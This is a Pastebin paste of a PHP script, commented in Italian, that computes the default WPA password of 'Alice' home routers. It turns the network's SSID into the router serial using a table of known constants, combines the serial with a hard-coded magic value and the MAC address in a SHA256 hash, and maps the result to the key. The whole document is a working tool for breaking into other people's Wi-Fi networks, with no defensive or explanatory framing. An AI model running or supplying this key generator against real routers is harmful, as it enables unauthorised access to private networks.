Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* tabella da apmpliare */
- $SN_TABLE = array( '96' => array( '69102', 13, 96017051 ),
- '93' => array( '69101', 13, 92398366 ),
- '56' => array( '67902', 13, 54808800 ),
- '55' => array( '67904', 8, 55164449 ),
- '54' => array( '67903', 8, 52420689 ),
- '48' => array( '67903', 8, 47896103 ),
- '46' => array( '67902', 13, 39015145 ) );
- /* Numeri da utilizzare per il calcolo dell'SHA256. */
- $ALIS = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
- /* Tabella di conversione da hash a wpa. */
- $CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
- "wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123";
- /* SSID della rete. */
- $SSID = "Alice-96000000";
- /* MAC address del router. */
- $MAC = "\x90\x90\x90\x90\x90\x90";
- /* Calcolo del seriale in base al SSID e alla tabella dei valori noti. */
- $SN = SSID2SN($SSID);
- /* Calcolo SHA256( MagicN + SN + MAC ) */
- $hash = SHA256( $ALIS.$SN.$MAC );
- /* Converto la stringa dell'hash in un array di byte. */
- $bytes = hash2bytes($hash);
- /* Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione. */
- $wpa = "";
- for( $i = 0; $i < 24; $i++ ){
- $wpa .= $CONV_TABLE[ $bytes[$i] ];
- }
- /* Stampo la wpa trovata. */
- echo "WPA : $wpa\n";
- /* Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando le tabelle dei valori noti. */
- function SSID2SN( $ssid ){
- global $SN_TABLE;
- /* Prelevo il numero intero dall'SSID e ne prendo le prime due cifre per verificare che il router sia presente nella tabella. */
- preg_match_all( "/^Alice-([0-9]+)/", $ssid, $m );
- $ssidn = $m[1][0];
- $id = substr( $ssidn, 0, 2 );
- if( isset( $SN_TABLE[$id] ) ){
- /* Il router è presente nella tabella, prelevo la prima parte del seriale e le costanti k e Q da utilizzare nell'equazione finale. */
- $sn1 = $SN_TABLE[$id][0];
- $k = $SN_TABLE[$id][1];
- $Q = $SN_TABLE[$id][2];
- /* La seconda parte del seriale equivale a : (SSID - Q) / k */
- $sn2 = ((int)$ssidn - $Q) / $k;
- /* Restituisco il seriale completo. */
- return $sn1.'X'.sprintf( "%07s", $sn2 );
- }
- /* Router non presente nella tabella. */
- else{
- die( "La serie 'Alice-$id******' non è presente nella tabella quindi non è supportata.\n" );
- }
- }
- /* Funzione per il calcolo di un hash SHA256. */
- function SHA256( $phrase ){
- return bin2hex( mhash( MHASH_SHA256, $phrase ) );
- }
- /* Funzione per convertire un hash in un array di byte interi. */
- function hash2bytes( $hash ){
- preg_match_all( "/[a-f0-9]{2}/i", $hash, $hash_bytes );
- $bytes = array();
- foreach( $hash_bytes[0] as $byte ){
- $bytes[] = hexdec($byte);
- }
- return $bytes;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement